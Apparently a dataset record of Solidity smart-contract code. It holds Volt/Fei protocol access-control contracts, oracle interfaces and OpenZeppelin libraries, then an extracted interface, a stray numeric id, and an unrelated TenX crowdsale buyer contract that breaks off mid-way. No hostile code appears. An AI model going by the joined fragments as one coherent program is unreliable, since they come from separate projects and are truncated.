modifier onlyTribeRole(bytes32 role) { require(_core.hasRole(role, msg.sender), "UNAUTHORIZED"); _; } // Modifiers to allow any combination of roles modifier hasAnyOfTwoRoles(bytes32 role1, bytes32 role2) { require( _core.hasRole(role1, msg.sender) || _core.hasRole(role2, msg.sender), "UNAUTHORIZED" ); _; } modifier hasAnyOfThreeRoles( bytes32 role1, bytes32 role2, bytes32 role3 ) { require( _core.hasRole(role1, msg.sender) || _core.hasRole(role2, msg.sender) || _core.hasRole(role3, msg.sender), "UNAUTHORIZED" ); _; } modifier hasAnyOfFourRoles( bytes32 role1, bytes32 role2, bytes32 role3, bytes32 role4 ) { require( _core.hasRole(role1, msg.sender) || _core.hasRole(role2, msg.sender) || _core.hasRole(role3, msg.sender) || _core.hasRole(role4, msg.sender), "UNAUTHORIZED" ); _; } modifier hasAnyOfFiveRoles( bytes32 role1, bytes32 role2, bytes32 role3, bytes32 role4, bytes32 role5 ) { require( _core.hasRole(role1, msg.sender) || _core.hasRole(role2, msg.sender) || _core.hasRole(role3, msg.sender) || _core.hasRole(role4, msg.sender) || _core.hasRole(role5, msg.sender), "UNAUTHORIZED" ); _; } modifier onlyVolt() { require(msg.sender == address(_volt), "CoreRef: Caller is not VOLT"); _; } /// @notice sets a new admin role for this contract function setContractAdminRole(bytes32 newContractAdminRole) external override onlyGovernor { _setContractAdminRole(newContractAdminRole); } /// @notice returns whether a given address has the admin role for this contract function isContractAdmin(address _admin) public view override returns (bool) { return _core.hasRole(CONTRACT_ADMIN_ROLE, _admin); } /// @notice set pausable methods to paused function pause() public override onlyGuardianOrGovernor { _pause(); } /// @notice set pausable methods to unpaused function unpause() public override onlyGuardianOrGovernor { _unpause(); } /// @notice address of the Core contract referenced /// @return ICore implementation address function core() public view override returns (ICore) { return _core; } /// @notice address of the Fei contract referenced by Core /// @return IFei implementation address function volt() public view override returns (IVolt) { return _volt; } /// @notice address of the Tribe contract referenced by Core /// @return IERC20 implementation address function vcon() public view override returns (IERC20) { return _vcon; } /// @notice volt balance of contract /// @return volt amount held function voltBalance() public view override returns (uint256) { return _volt.balanceOf(address(this)); } /// @notice vcon balance of contract /// @return vcon amount held function vconBalance() public view override returns (uint256) { return _vcon.balanceOf(address(this)); } function _burnVoltHeld() internal { _volt.burn(voltBalance()); } function _mintVolt(address to, uint256 amount) internal virtual { if (amount != 0) { _volt.mint(to, amount); } } function _setContractAdminRole(bytes32 newContractAdminRole) internal { bytes32 oldContractAdminRole = CONTRACT_ADMIN_ROLE; CONTRACT_ADMIN_ROLE = newContractAdminRole; emit ContractAdminRoleUpdate( oldContractAdminRole, newContractAdminRole ); } } // SPDX-License-Identifier: GPL-3.0-or-later pragma solidity ^0.8.4; import "../core/ICore.sol"; /// @title CoreRef interface /// @author Fei Protocol interface ICoreRef { // ----------- Events ----------- event CoreUpdate(address indexed oldCore, address indexed newCore); event ContractAdminRoleUpdate( bytes32 indexed oldContractAdminRole, bytes32 indexed newContractAdminRole ); // ----------- Governor only state changing api ----------- function setContractAdminRole(bytes32 newContractAdminRole) external; // ----------- Governor or Guardian only state changing api ----------- function pause() external; function unpause() external; // ----------- Getters ----------- function core() external view returns (ICore); function volt() external view returns (IVolt); function vcon() external view returns (IERC20); function voltBalance() external view returns (uint256); function vconBalance() external view returns (uint256); function CONTRACT_ADMIN_ROLE() external view returns (bytes32); function isContractAdmin(address admin) external view returns (bool); } // SPDX-License-Identifier: GPL-3.0-or-later pragma solidity ^0.8.4; import {IPermissions} from "./IPermissions.sol"; import {IVolt, IERC20} from "../volt/IVolt.sol"; /// @title Core Interface /// @author Fei Protocol interface ICore is IPermissions { // ----------- Events ----------- event VoltUpdate(IERC20 indexed _volt); event VconUpdate(IERC20 indexed _vcon); // ----------- Getters ----------- function volt() external view returns (IVolt); function vcon() external view returns (IERC20); } // SPDX-License-Identifier: GPL-3.0-or-later pragma solidity ^0.8.4; import "@openzeppelin/contracts/access/AccessControl.sol"; import "./IPermissionsRead.sol"; /// @title Permissions interface /// @author Fei Protocol interface IPermissions is IAccessControl, IPermissionsRead { // ----------- Governor only state changing api ----------- function createRole(bytes32 role, bytes32 adminRole) external; function grantMinter(address minter) external; function grantBurner(address burner) external; function grantPCVController(address pcvController) external; function grantGovernor(address governor) external; function grantGuardian(address guardian) external; function revokeMinter(address minter) external; function revokeBurner(address burner) external; function revokePCVController(address pcvController) external; function revokeGovernor(address governor) external; function revokeGuardian(address guardian) external; // ----------- Revoker only state changing api ----------- function revokeOverride(bytes32 role, address account) external; // ----------- Getters ----------- function GUARDIAN_ROLE() external view returns (bytes32); function GOVERN_ROLE() external view returns (bytes32); function BURNER_ROLE() external view returns (bytes32); function MINTER_ROLE() external view returns (bytes32); function PCV_CONTROLLER_ROLE() external view returns (bytes32); } // SPDX-License-Identifier: GPL-3.0-or-later pragma solidity ^0.8.4; /// @title Permissions Read interface /// @author Fei Protocol interface IPermissionsRead { // ----------- Getters ----------- function isBurner(address _address) external view returns (bool); function isMinter(address _address) external view returns (bool); function isGovernor(address _address) external view returns (bool); function isGuardian(address _address) external view returns (bool); function isPCVController(address _address) external view returns (bool); } // SPDX-License-Identifier: GPL-3.0-or-later pragma solidity ^0.8.4; import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; /// @title FEI stablecoin interface /// @author Fei Protocol interface IVolt is IERC20 { // ----------- Events ----------- event Minting( address indexed _to, address indexed _minter, uint256 _amount ); event Burning( address indexed _to, address indexed _burner, uint256 _amount ); event IncentiveContractUpdate( address indexed _incentivized, address indexed _incentiveContract ); // ----------- State changing api ----------- function burn(uint256 amount) external; function permit( address owner, address spender, uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s ) external; // ----------- Minter only state changing api ----------- function mint(address account, uint256 amount) external; } // SPDX-License-Identifier: GPL-3.0-or-later pragma solidity ^0.8.4; import {Decimal} from "../external/Decimal.sol"; /// @notice contract that receives a chainlink price feed and then linearly interpolates that rate over /// a 1 month period into the VOLT price. Interest is compounded monthly when the rate is updated /// @author Elliot Friedman interface IScalingPriceOracle { /// @notice the time frame over which all changes in CPI data are applied /// 28 days was chosen as that is the shortest length of a month function TIMEFRAME() external view returns (uint256); /// @notice the maximum allowable deviation in basis points for a new chainlink oracle update /// only allow price changes by 20% in a month. /// Any change over this threshold in either direction will be rejected function MAXORACLEDEVIATION() external view returns (uint256); /// @notice get the current scaled oracle price /// applies the change smoothly over a 28 day period /// scaled by 18 decimals function getCurrentOraclePrice() external view returns (uint256); /// @notice current amount that oracle price is inflating/deflating by monthly in basis points function monthlyChangeRateBasisPoints() external view returns (int256); /// @notice oracle price. starts off at 1 scaled up by 18 decimals function oraclePrice() external view returns (uint256); /// @notice event when the monthly change rate is updated event CPIMonthlyChangeRateUpdate( int256 oldChangeRateBasisPoints, int256 newChangeRateBasisPoints ); } // SPDX-License-Identifier: GPL-3.0-or-later pragma solidity ^0.8.4; import {Decimal} from "../external/Decimal.sol"; import {IScalingPriceOracle} from "./IScalingPriceOracle.sol"; /// @notice interface to get data from the Scaling Price Oracle interface IOraclePassThrough { // ----------- Getters ----------- /// @notice reference to the scaling price oracle function scalingPriceOracle() external view returns (IScalingPriceOracle); /// @notice function to get the current oracle price for the OracleRef contract function read() external view returns (Decimal.D256 memory price, bool valid); /// @notice function to get the current oracle price for the entire system function getCurrentOraclePrice() external view returns (uint256); /// @notice function to get the current oracle price for the entire system function currPegPrice() external view returns (uint256); // ----------- Governor only state changing api ----------- /// @notice function to update the pointer to the scaling price oracle /// requires approval from both VOLT and FRAX governance to sign off on the change function updateScalingPriceOracle(IScalingPriceOracle newScalingPriceOracle) external; /// @notice event emitted when the scaling price oracle is updated event ScalingPriceOracleUpdate( IScalingPriceOracle oldScalingPriceOracle, IScalingPriceOracle newScalingPriceOracle ); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (access/Ownable.sol) pragma solidity ^0.8.0; import "../utils/Context.sol"; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() { _transferOwnership(_msgSender()); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { _transferOwnership(address(0)); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _transferOwnership(newOwner); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Internal function without access restriction. */ function _transferOwnership(address newOwner) internal virtual { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/Context.sol) pragma solidity ^0.8.0; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/math/SafeMath.sol) pragma solidity ^0.8.0; // CAUTION // This version of SafeMath should only be used with Solidity 0.8 or later, // because it relies on the compiler's built in overflow checks. /** * @dev Wrappers over Solidity's arithmetic operations. * * NOTE: `SafeMath` is generally not needed starting with Solidity 0.8, since the compiler * now has built in overflow checking. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } } /** * @dev Returns the substraction of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b > a) return (false, 0); return (true, a - b); } } /** * @dev Returns the multiplication of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } } /** * @dev Returns the division of two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a / b); } } /** * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a % b); } } /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { return a + b; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return a - b; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { return a * b; } /** * @dev Returns the integer division of two unsigned integers, reverting on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return a % b; } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {trySub}. * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b <= a, errorMessage); return a - b; } } /** * @dev Returns the integer division of two unsigned integers, reverting with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a / b; } } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting with custom message when dividing by zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryMod}. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a % b; } } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (security/Pausable.sol) pragma solidity ^0.8.0; import "../utils/Context.sol"; /** * @dev Contract module which allows children to implement an emergency stop * mechanism that can be triggered by an authorized account. * * This module is used through inheritance. It will make available the * modifiers `whenNotPaused` and `whenPaused`, which can be applied to * the functions of your contract. Note that they will not be pausable by * simply including this module, only once the modifiers are put in place. */ abstract contract Pausable is Context { /** * @dev Emitted when the pause is triggered by `account`. */ event Paused(address account); /** * @dev Emitted when the pause is lifted by `account`. */ event Unpaused(address account); bool private _paused; /** * @dev Initializes the contract in unpaused state. */ constructor() { _paused = false; } /** * @dev Returns true if the contract is paused, and false otherwise. */ function paused() public view virtual returns (bool) { return _paused; } /** * @dev Modifier to make a function callable only when the contract is not paused. * * Requirements: * * - The contract must not be paused. */ modifier whenNotPaused() { require(!paused(), "Pausable: paused"); _; } /** * @dev Modifier to make a function callable only when the contract is paused. * * Requirements: * * - The contract must be paused. */ modifier whenPaused() { require(paused(), "Pausable: not paused"); _; } /** * @dev Triggers stopped state. * * Requirements: * * - The contract must not be paused. */ function _pause() internal virtual whenNotPaused { _paused = true; emit Paused(_msgSender()); } /** * @dev Returns to normal state. * * Requirements: * * - The contract must be paused. */ function _unpause() internal virtual whenPaused { _paused = false; emit Unpaused(_msgSender()); } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (access/AccessControl.sol) pragma solidity ^0.8.0; import "./IAccessControl.sol"; import "../utils/Context.sol"; import "../utils/Strings.sol"; import "../utils/introspection/ERC165.sol"; /** * @dev Contract module that allows children to implement role-based access * control mechanisms. This is a lightweight version that doesn't allow enumerating role * members except through off-chain means by accessing the contract event logs. Some * applications may benefit from on-chain enumerability, for those cases see * {AccessControlEnumerable}. * * Roles are referred to by their `bytes32` identifier. These should be exposed * in the external API and be unique. The best way to achieve this is by * using `public constant` hash digests: * * ``` * bytes32 public constant MY_ROLE = keccak256("MY_ROLE"); * ``` * * Roles can be used to represent a set of permissions. To restrict access to a * function call, use {hasRole}: * * ``` * function foo() public { * require(hasRole(MY_ROLE, msg.sender)); * ... * } * ``` * * Roles can be granted and revoked dynamically via the {grantRole} and * {revokeRole} functions. Each role has an associated admin role, and only * accounts that have a role's admin role can call {grantRole} and {revokeRole}. * * By default, the admin role for all roles is `DEFAULT_ADMIN_ROLE`, which means * that only accounts with this role will be able to grant or revoke other * roles. More complex role relationships can be created by using * {_setRoleAdmin}. * * WARNING: The `DEFAULT_ADMIN_ROLE` is also its own admin: it has permission to * grant and revoke this role. Extra precautions should be taken to secure * accounts that have been granted it. */ abstract contract AccessControl is Context, IAccessControl, ERC165 { struct RoleData { mapping(address => bool) members; bytes32 adminRole; } mapping(bytes32 => RoleData) private _roles; bytes32 public constant DEFAULT_ADMIN_ROLE = 0x00; /** * @dev Modifier that checks that an account has a specific role. Reverts * with a standardized message including the required role. * * The format of the revert reason is given by the following regular expression: * * /^AccessControl: account (0x[0-9a-f]{40}) is missing role (0x[0-9a-f]{64})$/ * * _Available since v4.1._ */ modifier onlyRole(bytes32 role) { _checkRole(role, _msgSender()); _; } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IAccessControl).interfaceId || super.supportsInterface(interfaceId); } /** * @dev Returns `true` if `account` has been granted `role`. */ function hasRole(bytes32 role, address account) public view override returns (bool) { return _roles[role].members[account]; } /** * @dev Revert with a standard message if `account` is missing `role`. * * The format of the revert reason is given by the following regular expression: * * /^AccessControl: account (0x[0-9a-f]{40}) is missing role (0x[0-9a-f]{64})$/ */ function _checkRole(bytes32 role, address account) internal view { if (!hasRole(role, account)) { revert( string( abi.encodePacked( "AccessControl: account ", Strings.toHexString(uint160(account), 20), " is missing role ", Strings.toHexString(uint256(role), 32) ) ) ); } } /** * @dev Returns the admin role that controls `role`. See {grantRole} and * {revokeRole}. * * To change a role's admin, use {_setRoleAdmin}. */ function getRoleAdmin(bytes32 role) public view override returns (bytes32) { return _roles[role].adminRole; } /** * @dev Grants `role` to `account`. * * If `account` had not been already granted `role`, emits a {RoleGranted} * event. * * Requirements: * * - the caller must have ``role``'s admin role. */ function grantRole(bytes32 role, address account) public virtual override onlyRole(getRoleAdmin(role)) { _grantRole(role, account); } /** * @dev Revokes `role` from `account`. * * If `account` had been granted `role`, emits a {RoleRevoked} event. * * Requirements: * * - the caller must have ``role``'s admin role. */ function revokeRole(bytes32 role, address account) public virtual override onlyRole(getRoleAdmin(role)) { _revokeRole(role, account); } /** * @dev Revokes `role` from the calling account. * * Roles are often managed via {grantRole} and {revokeRole}: this function's * purpose is to provide a mechanism for accounts to lose their privileges * if they are compromised (such as when a trusted device is misplaced). * * If the calling account had been revoked `role`, emits a {RoleRevoked} * event. * * Requirements: * * - the caller must be `account`. */ function renounceRole(bytes32 role, address account) public virtual override { require(account == _msgSender(), "AccessControl: can only renounce roles for self"); _revokeRole(role, account); } /** * @dev Grants `role` to `account`. * * If `account` had not been already granted `role`, emits a {RoleGranted} * event. Note that unlike {grantRole}, this function doesn't perform any * checks on the calling account. * * [WARNING] * ==== * This function should only be called from the constructor when setting * up the initial roles for the system. * * Using this function in any other way is effectively circumventing the admin * system imposed by {AccessControl}. * ==== * * NOTE: This function is deprecated in favor of {_grantRole}. */ function _setupRole(bytes32 role, address account) internal virtual { _grantRole(role, account); } /** * @dev Sets `adminRole` as ``role``'s admin role. * * Emits a {RoleAdminChanged} event. */ function _setRoleAdmin(bytes32 role, bytes32 adminRole) internal virtual { bytes32 previousAdminRole = getRoleAdmin(role); _roles[role].adminRole = adminRole; emit RoleAdminChanged(role, previousAdminRole, adminRole); } /** * @dev Grants `role` to `account`. * * Internal function without access restriction. */ function _grantRole(bytes32 role, address account) internal virtual { if (!hasRole(role, account)) { _roles[role].members[account] = true; emit RoleGranted(role, account, _msgSender()); } } /** * @dev Revokes `role` from `account`. * * Internal function without access restriction. */ function _revokeRole(bytes32 role, address account) internal virtual { if (hasRole(role, account)) { _roles[role].members[account] = false; emit RoleRevoked(role, account, _msgSender()); } } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (access/IAccessControl.sol) pragma solidity ^0.8.0; /** * @dev External interface of AccessControl declared to support ERC165 detection. */ interface IAccessControl { /** * @dev Emitted when `newAdminRole` is set as ``role``'s admin role, replacing `previousAdminRole` * * `DEFAULT_ADMIN_ROLE` is the starting admin for all roles, despite * {RoleAdminChanged} not being emitted signaling this. * * _Available since v3.1._ */ event RoleAdminChanged(bytes32 indexed role, bytes32 indexed previousAdminRole, bytes32 indexed newAdminRole); /** * @dev Emitted when `account` is granted `role`. * * `sender` is the account that originated the contract call, an admin role * bearer except when using {AccessControl-_setupRole}. */ event RoleGranted(bytes32 indexed role, address indexed account, address indexed sender); /** * @dev Emitted when `account` is revoked `role`. * * `sender` is the account that originated the contract call: * - if using `revokeRole`, it is the admin role bearer * - if using `renounceRole`, it is the role bearer (i.e. `account`) */ event RoleRevoked(bytes32 indexed role, address indexed account, address indexed sender); /** * @dev Returns `true` if `account` has been granted `role`. */ function hasRole(bytes32 role, address account) external view returns (bool); /** * @dev Returns the admin role that controls `role`. See {grantRole} and * {revokeRole}. * * To change a role's admin, use {AccessControl-_setRoleAdmin}. */ function getRoleAdmin(bytes32 role) external view returns (bytes32); /** * @dev Grants `role` to `account`. * * If `account` had not been already granted `role`, emits a {RoleGranted} * event. * * Requirements: * * - the caller must have ``role``'s admin role. */ function grantRole(bytes32 role, address account) external; /** * @dev Revokes `role` from `account`. * * If `account` had been granted `role`, emits a {RoleRevoked} event. * * Requirements: * * - the caller must have ``role``'s admin role. */ function revokeRole(bytes32 role, address account) external; /** * @dev Revokes `role` from the calling account. * * Roles are often managed via {grantRole} and {revokeRole}: this function's * purpose is to provide a mechanism for accounts to lose their privileges * if they are compromised (such as when a trusted device is misplaced). * * If the calling account had been granted `role`, emits a {RoleRevoked} * event. * * Requirements: * * - the caller must be `account`. */ function renounceRole(bytes32 role, address account) external; } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/Strings.sol) pragma solidity ^0.8.0; /** * @dev String operations. */ library Strings { bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef"; /** * @dev Converts a `uint256` to its ASCII `string` decimal representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. */ function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. */ function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = _HEX_SYMBOLS[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/introspection/ERC165.sol) pragma solidity ^0.8.0; import "./IERC165.sol"; /** * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. */ abstract contract ERC165 is IERC165 { /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165).interfaceId; } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC165.sol) pragma solidity ^0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (token/ERC20/IERC20.sol) pragma solidity ^0.8.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); }
interface to get data from the Scaling Price Oracle ----------- Getters ----------- ----------- Governor only state changing api -----------
interface IOraclePassThrough { function scalingPriceOracle() external view returns (IScalingPriceOracle); function read() external view returns (Decimal.D256 memory price, bool valid); function getCurrentOraclePrice() external view returns (uint256); function currPegPrice() external view returns (uint256); function updateScalingPriceOracle(IScalingPriceOracle newScalingPriceOracle) external; event ScalingPriceOracleUpdate( IScalingPriceOracle oldScalingPriceOracle, IScalingPriceOracle newScalingPriceOracle ); } pragma solidity ^0.8.4; import {Decimal} from "../external/Decimal.sol"; import {IScalingPriceOracle} from "./IScalingPriceOracle.sol"; }
6,963,216
pragma solidity ^0.4.11; /* TenX Buyer ======================== Buys TenX tokens from the crowdsale on your behalf. Author: /u/Cintix */ // ERC20 Interface: https://github.com/ethereum/EIPs/issues/20 // Well, almost. PAY tokens throw on transfer failure instead of returning false. contract ERC20 { function transfer(address _to, uint _value); function balanceOf(address _owner) constant returns (uint balance); } // Interface to TenX ICO Contract contract MainSale { address public multisigVault; uint public altDeposits; function createTokens(address recipient) payable; } contract TenXBuyer { // Store the amount of ETH deposited by each account. mapping (address => uint) public balances; // Bounty for executing buy. uint256 public bounty; // Track whether the contract has bought the tokens yet. bool public bought_tokens; // Record the time the contract bought the tokens. uint public time_bought; // Hard Cap of TenX Crowdsale uint hardcap = 200000 ether; // Ratio of PAY tokens received to ETH contributed (350 + 20% first-day bonus) uint pay_per_eth = 420; // The TenX Token Sale address. MainSale public sale = MainSale(0xd43D09Ec1bC5e57C8F3D0c64020d403b04c7f783); // TenX PAY Token Contract address. ERC20 public token = ERC20(0xB97048628DB6B661D4C2aA833e95Dbe1A905B280); // The developer address. address developer = 0x4e6A1c57CdBfd97e8efe831f8f4418b1F2A09e6e; // Withdraws all ETH deposited or PAY purchased by the sender. function withdraw(){ // If called before the ICO, cancel caller&#39;s participation in the sale. if (!bought_tokens) { // Store the user&#39;s balance prior to withdrawal in a temporary variable. uint eth_amount = balances[msg.sender]; // Update the user&#39;s balance prior to sending ETH to prevent recursive call. balances[msg.sender] = 0; // Return the user&#39;s funds. Throws on failure to prevent loss of funds. msg.sender.transfer(eth_amount); } // Withdraw the sender&#39;s tokens if the contract has already purchased them. else { // Store the user&#39;s PAY balance in a temporary variable (1 ETHWei -> 420 PAYWei). uint pay_amount = balances[msg.sender] * pay_per_eth; // Update the user&#39;s balance prior to sending PAY to prevent recursive call. balances[msg.sender] = 0; // No fee for withdrawing during the crowdsale. uint fee = 0; // Determine whether the crowdsale&#39;s hard cap has been reached yet. bool cap_reached = (sale.multisigVault().balance + sale.altDeposits() > hardcap); // 1% fee for withdrawing after the crowdsale has ended or after the bonus period. if (cap_reached || (now > time_bought + 1 days)) { fee = pay_amount / 100; } // Send the funds. Throws on failure to prevent loss of funds. token.transfer(msg.sender, pay_amount - fee); token.transfer(developer, fee); } } // Allow anyone to contribute to the buy execution bounty. function add_to_bounty() payable { // Disallow adding to the bounty if contract has already bought the tokens. if (bought_tokens) throw; // Update bounty to include received amount. bounty += msg.value; } // Buys tokens in the crowdsale and rewards the caller, callable by anyone. 